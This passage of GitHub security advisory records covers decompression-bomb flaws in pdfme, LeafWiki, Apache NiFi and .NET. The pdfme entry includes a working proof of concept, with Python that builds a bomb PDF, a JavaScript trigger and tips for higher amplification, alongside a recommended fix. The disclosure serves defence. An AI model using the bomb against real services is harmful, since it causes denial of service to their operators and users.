"last_known_affected_version_range": "\u003c= 5.5.9"
},
"package": {
"ecosystem": "npm",
"name": "@pdfme/pdf-lib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.5.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:44:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `DecodeStream.ensureBuffer()` method in `@pdfme/pdf-lib` doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.\n\n## Details\n\nThe vulnerability exists in the `DecodeStream` class, which is the base class for all stream decoders including `FlateStream` (DEFLATE/zlib decompression).\n\n**Unbounded buffer growth in `ensureBuffer()`** \u2014 `packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160`:\n\n```typescript\nprotected ensureBuffer(requested: number) {\n const buffer = this.buffer;\n if (requested \u003c= buffer.byteLength) {\n return buffer;\n }\n let size = this.minBufferLength;\n while (size \u003c requested) {\n size *= 2; // Doubles with no upper bound\n }\n const buffer2 = new Uint8Array(size); // Allocates without limit\n buffer2.set(buffer);\n return (this.buffer = buffer2);\n}\n```\n\nThe `size *= 2` loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.\n\n**Unconditional full decompression in `decode()`** \u2014 `DecodeStream.ts:139-141`:\n\n```typescript\ndecode(): Uint8Array {\n while (!this.eof) this.readBlock(); // Fully decompresses before returning\n return this.buffer.subarray(0, this.bufferLength);\n}\n```\n\n**`FlateStream.readBlock()`** calls `ensureBuffer()` repeatedly during decompression \u2014 `packages/pdf-lib/src/core/streams/FlateStream.ts:272-274`:\n\n```typescript\nif (pos + 1 \u003e= limit) {\n buffer = this.ensureBuffer(pos + 1);\n limit = buffer.length;\n}\n```\n\nAnd again at line 297-300:\n\n```typescript\nif (pos + len \u003e= limit) {\n buffer = this.ensureBuffer(pos + len);\n limit = buffer.length;\n}\n```\n\n**Entry point via `basePdf`** \u2014 `packages/generator/src/helper.ts:42-43`:\n\n```typescript\nconst willLoadPdf = await getB64BasePdf(basePdf);\nconst embedPdf = await PDFDocument.load(willLoadPdf);\n```\n\nThe `basePdf` parameter accepts base64-encoded data, a URL, or raw bytes. When `PDFDocument.load()` parses the PDF, it encounters FlateDecode streams and decompresses them through `FlateStream` \u2192 `DecodeStream` with no size limits.\n\nThe same code path exists in the UI package at `packages/ui/src/helper.ts:292` and `packages/ui/src/hooks.ts:67`.\n\n## PoC\n\n**Step 1: Create a decompression bomb PDF**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Generate a PDF decompression bomb for PoC.\"\"\"\nimport zlib\nimport struct\n\n# Create highly compressible data: 100MB of null bytes\n# compresses to ~100KB (~1000:1 ratio)\nuncompressed = b\u0027\\x00\u0027 * (100 * 1024 * 1024) # 100 MB\ncompressed = zlib.compress(uncompressed, 9)\n\n# Minimal PDF structure with FlateDecode stream\npdf = b\"\"\"%PDF-1.4\n1 0 obj\n\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\nendobj\n\n2 0 obj\n\u003c\u003c /Type /Pages /Kids [3 0 R] /Count 1 \u003e\u003e\nendobj\n\n3 0 obj\n\u003c\u003c /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]\n /Contents 4 0 R \u003e\u003e\nendobj\n\n4 0 obj\n\u003c\u003c /Filter /FlateDecode /Length \"\"\" + str(len(compressed)).encode() + b\"\"\" \u003e\u003e\nstream\n\"\"\" + compressed + b\"\"\"\nendstream\nendobj\n\nxref\n0 5\n\"\"\"\n# Write proper xref (simplified for PoC)\nwith open(\"bomb.pdf\", \"wb\") as f:\n f.write(pdf)\n f.write(b\"trailer \u003c\u003c /Size 5 /Root 1 0 R \u003e\u003e\\nstartxref\\n0\\n%%EOF\\n\")\n\nprint(f\"Compressed size: {len(compressed)} bytes\")\nprint(f\"Decompressed size: {len(uncompressed)} bytes\")\nprint(f\"Ratio: {len(uncompressed)/len(compressed):.0f}:1\")\n```\n\n**Step 2: Trigger via @pdfme/generator**\n\n```javascript\nconst { generate } = require(\u0027@pdfme/generator\u0027);\nconst fs = require(\u0027fs\u0027);\n\nconst bombPdf = fs.readFileSync(\u0027bomb.pdf\u0027);\n\n// This will cause unbounded memory allocation during PDF parsing\ngenerate({\n template: {\n basePdf: bombPdf, // Attacker-controlled input\n schemas: [[]],\n },\n inputs: [{}],\n plugins: {},\n}).catch(err =\u003e console.error(\u0027OOM or crash:\u0027, err.message));\n```\n\n**Step 3: Observe memory exhaustion**\n\n```bash\n# Monitor memory usage \u2014 the Node.js process will consume all available memory\n# and either crash with a heap allocation failure or be OOM-killed\nnode --max-old-space-size=512 trigger.js\n# Expected: \"FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory\"\n```\n\nFor higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload.\n\n## Impact\n\n- **Denial of Service**: Any application using `@pdfme/generator` or `@pdfme/ui` that allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab.\n- **Server-side impact**: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable.\n- **Client-side impact**: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process.\n- **No authentication bypass needed**: The attack only requires the ability to supply a `basePdf` value, which is the standard template input parameter \u2014 no elevated privileges are needed.\n\n## Recommended Fix\n\nAdd a maximum decoded size limit to `ensureBuffer()` in `packages/pdf-lib/src/core/streams/DecodeStream.ts`:\n\n```typescript\nconst MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB\n\nclass DecodeStream implements StreamType {\n // ... existing fields ...\n\n protected ensureBuffer(requested: number) {\n const buffer = this.buffer;\n if (requested \u003c= buffer.byteLength) {\n return buffer;\n }\n\n if (requested \u003e MAX_DECODED_SIZE) {\n throw new Error(\n `Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` +\n `This may indicate a decompression bomb.`\n );\n }\n\n let size = this.minBufferLength;\n while (size \u003c requested) {\n size *= 2;\n }\n\n // Cap the allocation even if the doubling overshoots\n if (size \u003e MAX_DECODED_SIZE) {\n size = MAX_DECODED_SIZE;\n }\n\n const buffer2 = new Uint8Array(size);\n buffer2.set(buffer);\n return (this.buffer = buffer2);\n }\n}\n```\n\nOptionally, expose the limit via `PDFDocument.load()` options so consumers can tune it:\n\n```typescript\n// In LoadOptions interface:\ninterface LoadOptions {\n // ... existing options ...\n maxDecodedStreamSize?: number; // Default: 100 MB\n}\n```",
"id": "GHSA-vrqm-gvq7-rrwh",
"modified": "2026-03-20T20:44:52Z",
"published": "2026-03-20T20:44:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pdfme/pdfme/security/advisories/GHSA-vrqm-gvq7-rrwh"
},
{
"type": "PACKAGE",
"url": "https://github.com/pdfme/pdfme"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS"
}
GHSA-VX6X-47WX-XJJJ
Vulnerability from github – Published: 2026-08-26 18:31 – Updated: 2026-08-26 18:31LeafWiki extracts an uploaded ZIP archive without limiting how much data it will write. ZipExtractor.ExtractToDir in internal/importer/zip_extractor.go opens each entry and copies it to the destination with io.Copy, which runs to the end of the decompressed stream, so only the size of the uploaded archive is bounded and the size it expands to is not. The import route that reaches this code requires the Editor or Admin role, and the upload itself is capped at 500 MiB compressed. Because a ZIP entry can compress at a very high ratio, an archive well inside that cap can expand to hundreds of gigabytes as it is written out. The extraction directory defaults to a location under the operating system temporary directory, so the written data consumes the disk backing that path, which on a tmpfs-backed temporary directory is memory. A user holding the Editor role can therefore exhaust the storage the service depends on and keep it from serving, using far more resource than the upload limit alone would permit.
{
"affected": [],
"aliases": [
"CVE-2026-80189"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-26T05:18:26Z",
"severity": "HIGH"
},
"details": "LeafWiki extracts an uploaded ZIP archive without limiting how much data it will write. ZipExtractor.ExtractToDir in internal/importer/zip_extractor.go opens each entry and copies it to the destination with io.Copy, which runs to the end of the decompressed stream, so only the size of the uploaded archive is bounded and the size it expands to is not. The import route that reaches this code requires the Editor or Admin role, and the upload itself is capped at 500 MiB compressed. Because a ZIP entry can compress at a very high ratio, an archive well inside that cap can expand to hundreds of gigabytes as it is written out. The extraction directory defaults to a location under the operating system temporary directory, so the written data consumes the disk backing that path, which on a tmpfs-backed temporary directory is memory. A user holding the Editor role can therefore exhaust the storage the service depends on and keep it from serving, using far more resource than the upload limit alone would permit.",
"id": "GHSA-vx6x-47wx-xjjj",
"modified": "2026-08-26T18:31:52Z",
"published": "2026-08-26T18:31:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/perber/leafwiki/security/advisories/GHSA-258m-crqp-25xc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80189"
},
{
"type": "WEB",
"url": "https://github.com/perber/leafwiki"
},
{
"type": "WEB",
"url": "https://github.com/perber/leafwiki/blob/v0.12.0/internal/importer/zip_extractor.go"
},
{
"type": "WEB",
"url": "https://github.com/perber/leafwiki/releases/tag/v0.12.1"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/leafwiki-0.10.0-through-0.12.0-uncontrolled-resource-consumption-via-unbounded-zip-extraction"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W96G-MJ2P-WQJV
Vulnerability from github – Published: 2026-08-03 21:31 – Updated: 2026-08-05 15:32Apache NiFi 1.5.0 through 2.10.0 support gzip-encoded HTTP requests for the application REST API using a Jersey encoding filter. The framework enforced a configurable maximum request size on the compressed payload rather than the decompressed output, allowing a malicious client to send crafted requests that could consume excessive amounts of memory. Upgrading to Apache NiFi 2.11.0 is the recommended mitigation, which relocates response compression to Jetty Server and disables decompression of gzip-encoded HTTP requests.
{
"affected": [],
"aliases": [
"CVE-2026-68981"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-03T20:17:29Z",
"severity": "HIGH"
},
"details": "Apache NiFi 1.5.0 through 2.10.0 support gzip-encoded HTTP requests for the application REST API using a Jersey encoding filter. The framework enforced a configurable maximum request size on the compressed payload rather than the decompressed output, allowing a malicious client to send crafted requests that could consume excessive amounts of memory. Upgrading to Apache NiFi 2.11.0 is the recommended mitigation, which relocates response compression to Jetty Server and disables decompression of gzip-encoded HTTP requests.",
"id": "GHSA-w96g-mj2p-wqjv",
"modified": "2026-08-05T15:32:09Z",
"published": "2026-08-03T21:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68981"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/vxrqn7poyf1wx6gdy7c0dxqfqkctjngg"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/03/13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:U/V:C/RE:M/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-WMM6-PGP8-29HG
Vulnerability from github – Published: 2024-11-12 18:30 – Updated: 2024-11-12 22:59Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6x36-qxmj-rv4p. This link is maintained to preserve external references.
Original Description
.NET and Visual Studio Denial of Service Vulnerability
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "System.Formats.Nrbf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-409",
"CWE-606"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-12T22:59:42Z",
"nvd_published_at": "2024-11-12T18:15:24Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6x36-qxmj-rv4p. This link is maintained to preserve external references.\n\n## Original Description\n.NET and Visual Studio Denial of Service Vulnerability",
"id": "GHSA-wmm6-pgp8-29hg",
"modified": "2024-11-12T22:59:42Z",
"published": "2024-11-12T18:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43499"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43499"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: .NET and Visual Studio Denial of Service Vulnerability",
"withdrawn": "2024-11-12T22:59:42Z"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.